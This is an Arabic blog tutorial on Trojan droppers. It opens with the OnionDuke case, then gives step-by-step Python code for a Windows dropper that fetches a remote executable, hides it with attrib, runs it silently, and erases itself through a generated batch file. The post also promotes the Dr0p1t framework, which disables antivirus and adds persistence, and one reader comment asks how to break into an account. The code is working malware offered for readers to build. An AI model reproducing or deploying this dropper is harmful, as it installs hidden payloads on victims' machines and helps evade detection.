ماهي البرمجيه الخبيثه Dropper وكيف تبرمج بلغه البايثون مع نظره علي أداه Dr0p1t
وصلنا لمرحله أننا أصبحنا كل يوم نري تطور البرمجيات خبيثه أكثر وأكثر واليوم بأذن الله سنتحدث عن شكل من أشكالها وهي ليست برمجيه جديده ولكنها ليست معروفه للجميع ايضا وهي الـDropper
ماهو الـTrojan Dropper ؟
هو نوع من البرمجيات الخبيثه والذي تتكمن وظيفته في أن يقوم بتحميل ملف خبيث علي جهازك وتشغيله دون أن تشعر بشئ .
ولكي يقوم هذا الدروبر بهذا فأنه يفعل بذلك بطريقه من أثنين ليتخطي برامج الحمايه وهي أنه أما يكون يحتوي بالفعل علي كود الفايروس ويقوم بأنشائه وتشغيله مباشرتاً وهي عمليه من مرحله واحده..
الطريقه الثانيه وهي الشائعه بين هذه البرمجيات وهي أن يقوم بتحميل الملف الخبيث من علي الأنترنت بحيث يكون مبرمج الدروبر قد رفع الملف الخبيث مسبقا علي موقع من مواقع التخزين الألكتروني وبرمج الدروبر علي أن يحمله ومن ثم يقوم بتشغيله وكما نري هي عمليه من مرحلتين.
وفي الغالب يقوم الدروبر بمسح نفسه بعد أنجاز المهمه .
مثال :
في سنه 2014 أكتشف فريق f-secure برمجيه OnionDuke والتي كانت تنتشر في أجهزه مستخدمين شبكه الـTOR !
هذه البرمجيه تتكون من ملفين الملف الأول عباره عن دروبر وهو الملف الأساسي المستخدم للأنتشار حيث قام مؤلفين هذه البرمجيه بتجهيز بربط جهاز مجهز لنشر الدروبر وربطه بالشبكه حتي يكون بمثابه TOR Node (تستطيع القرائه أكثر عن كيفيه عمل شبكه الـTOR أو الأنتظار مقالنا عنها قريبا 😉 ) ولكن هنا لن يكون مجرد TOR Node عاديه فعندما يقوم أحد مستخدمين الشبكه بتحميل ملف من علي شبكه التور والبيانات تمر من خلال هذه العقده , يحقن الدروبر في الملف بشكل تلقائي وبعدما يقوم المستخدم بتشغيل الملف يبدأ الدروبر بالعمل ويكون الملف الأساسي للبرمجيه الخبيثه للسيطره علي الجهاز وتقوم برامج الحمايه بتصنيف هذا الدروبر كا Trojan-Dropper:W32/OnionDuke.A .
الملف الثاني هو عباره عن ملف DLL يكون بداخل الدروبر والذي يكون في ظاهره صوره GIF لكنه في الواقع ملف DLL فيقوم الدروبر بتشغيل هذا الملف وعندما يعمل الملف يقوم بالأتصال بسيرفر الـC&C في أنتظار مؤلفين البرمجيه ( أو المتحكمين في السيرفر بشكل عام ) بأن يقوموا بتنفيذ أوامر علي الجهاز من تنزيل برمجيات خبيثه أخري وتثبيتها وما الي ذلك وتقوم برامج الحمايه بتصنيف هذا الملف كا Backdoor:W32/OnionDuke .
قمنا من قبل بالكتابه عن الـC&C Servers تستطيع أن تقرأ عنها من هنا
والأن سنري كيف يمكن برمجه Dropper بلغه البايثون :
سنقوم ببرمجه دروبر من النوع الثاني الذي يقوم بتحميل الملفات الخبيثه الأخري من علي الأنترنت حيث أنه الأكثر شيوعا.
اولا من أجل تنزيل الملف سأستخدم داله urlretrieve من مكتبه urllib وسنستهدف بيئه عمل نظام الويندوز في شرحنا .
أذا كنت علي بايثون أصدار 2 فتقوم بعمل استيراد للداله هكذا
from urllib import urlretrieve
وأذا كنت علي بايثون أصدار 3 فتقوم بعمل أستيراد للداله هكذا
from urllib.request import urlretrieve
الأن هذه الداله تأخذ متغيرين واحد هو الرابط والأخر الأسم وسنجعل هنا أسم الملف ثابت وسيكون hosts.exe ولذلك سوف نعبر عن الأمر كالأتي :
urlretrieve(url,"hosts.exe")
الأن قمنا بتحميل الملف ولكن قبل تشغيله سنقوم بأخفائه ولعمل هذا سنستعين بمكتبه subprocess فنقوم بأستدعائها :
import subprocess
والأن ننفذ أمر attrib بسيط لأخفاء الملف ولكن سنوجه المُخرج الي البايب حتي لا يكون هناك أي أخراج
subprocess.Popen("attrib +s +h hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
الأن فقط نستطيع تشغيل الملف كالأتي :
subprocess.Popen("hosts.exe",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
الأن أصبح لدينا دروبر بسيط يقوم بتحميل ملف وأخفائه وتشغيله ولكن يظل ينقصه بعض اللمسات مثل أن يقوم بمسح نفسه بعد الأنتهاء من المهمه فكيف نقوم بذلك ؟ 😀
لتكتب كود يجعل السكربت يمسح نفسه يعتبر من الأشياء الشبه مستحيله في البايثون ولذلك سنستعين بلغه batchfile لنقوم بعمل ملف bat يمسح السكربت ومن ثم يمسح نفسه 😀
سيكون الكود الذي سيكون في الملف الـBat كالأتي :
@echo off TASKKILL /F /IM "Dropper_Name" DEL -f "Dropper_Name" DEL "%~f0"
الأن لنشرحه سطر سطر :
السطر الأول @echo off وهي أساسيه عند بدء كتابه أي ملف بات حتي لا يقوم الملف بعمل أوت بوت أو أخراج بمعني أخر
السطر الثاني نقوم به بأستخدام الأمر TASKKILL لعمل قتل للدروبر مع أستخدام سويتش /F لأجباره علي قتله وسويتش /IM لأنني سأعطيه أسم الملف الدروبر وليس الـPID ومن ثم بعدها نكتب أسم الدروبر
السطر الثالث نمسح الدروبر نفسه مع أستخدام سويتش -f لأجبار الملف علي مسحه
السطر الرابع نجعل ملف البات يقرأ أسمه ومن ثم يمسح نفسه وهذه الخدعه هي أننا جعلناه يقرأ أسمه عن طريق الـCommandline Argument رقم 0 والذي هو أسم الملف
الأن بعدما شرحنا الملف الم تلاحظ شيئا ما ؟
كيف سنعرف أسم الدروبر لنعطيه لملف البات ليقوم بمسحه ؟ فمن المحتمل أن يتغير أسم الدروبر الي أسم اخر غير الذين سميناه أياه !
الخدعه أننا سنجعل الدروبر يستطيع أن يقرأ أسمه وهذا ينفذ ببساطه عن طريق مكتبه sys فنقوم أولا بأستدعائها :
from sys import executable
والأن سنستخدم داله executable من المكتبه لنعرف أسم الملف ولكنه سيكون المسار الكامل ولذلك سنقوم بعمل فرز له ونأتي بأسم الملف فقط من المسار
filename = executable.split("\\")[-1]
وبعدها نقوم بتشغيله فتصبح الأن داله التدمير الذاتي كالأتي 😀
from sys import executable def selfdestruct(): filename = executable.split("\\")[-1] data = '''@echo off TASKKILL /F /IM "{0}" break>{0} DEL -f "{0}" break>"%~f0" && DEL "%~f0" '''.format( filename ) f = open("1.bat","w") f.write(data) f.close() xxx = subprocess.Popen("1.bat >> NUL",shell=True) selfdestruct()
وهكذا الأن نكون قد شرحنا برمجه دروبر بسيط خاص بنا ولكن هل سمعت عن أداه Dr0p1t ؟؟
أداه Dr0p1t هي أداه جديده تقوم بعمل دروبر خاص بك ولكنه ليس بمثل بساطه الذي قمنا بشرحه الأن فهي بها بعض المزايا والتي هي عباره عن المهام التي تستطيع القيام بها قبل تشغيل الملف الخاص بك وبعده مثل جعله يعمل مع تشغيل الجهاز أو قتل الأنتي فايروس المثبت علي الجهاز.
تستطيع أن تقرأ عنه أكثر من الرابط الخاص به : https://github.com/D4Vinci/Dr0p1t-Framework
وهذه بعض الصور له من علي Github :
دمتم بود والسلام عليكم ورحمه الله
thank you bro 🙂
نشكركم على المجهودات وبانتظار مقالات آخر بشوق 🙂
اطلعت على سورس كود لم أضن أن أحد العرب قد يصل لهذا مستوى مع بايثون , جميل
مللت من من أغبياء نت و سكربت كيدز
أول تعليق لي في موقع عربي
رغم أني متأكد من أن لا أحد أو قلة سيفهمونك
لكن هناك أمل
أنا أعرف بعض العرب يمتلكون أدوات أقوى ._.
ممن اتعلم الاختراق ….يعني عايز اخش ع الحساب الي انا عايزه
very nice bro 🙂
جميلة جدا شروحاتك
جميلة جدا شروحاتك
جميلة جدا شروحاتك good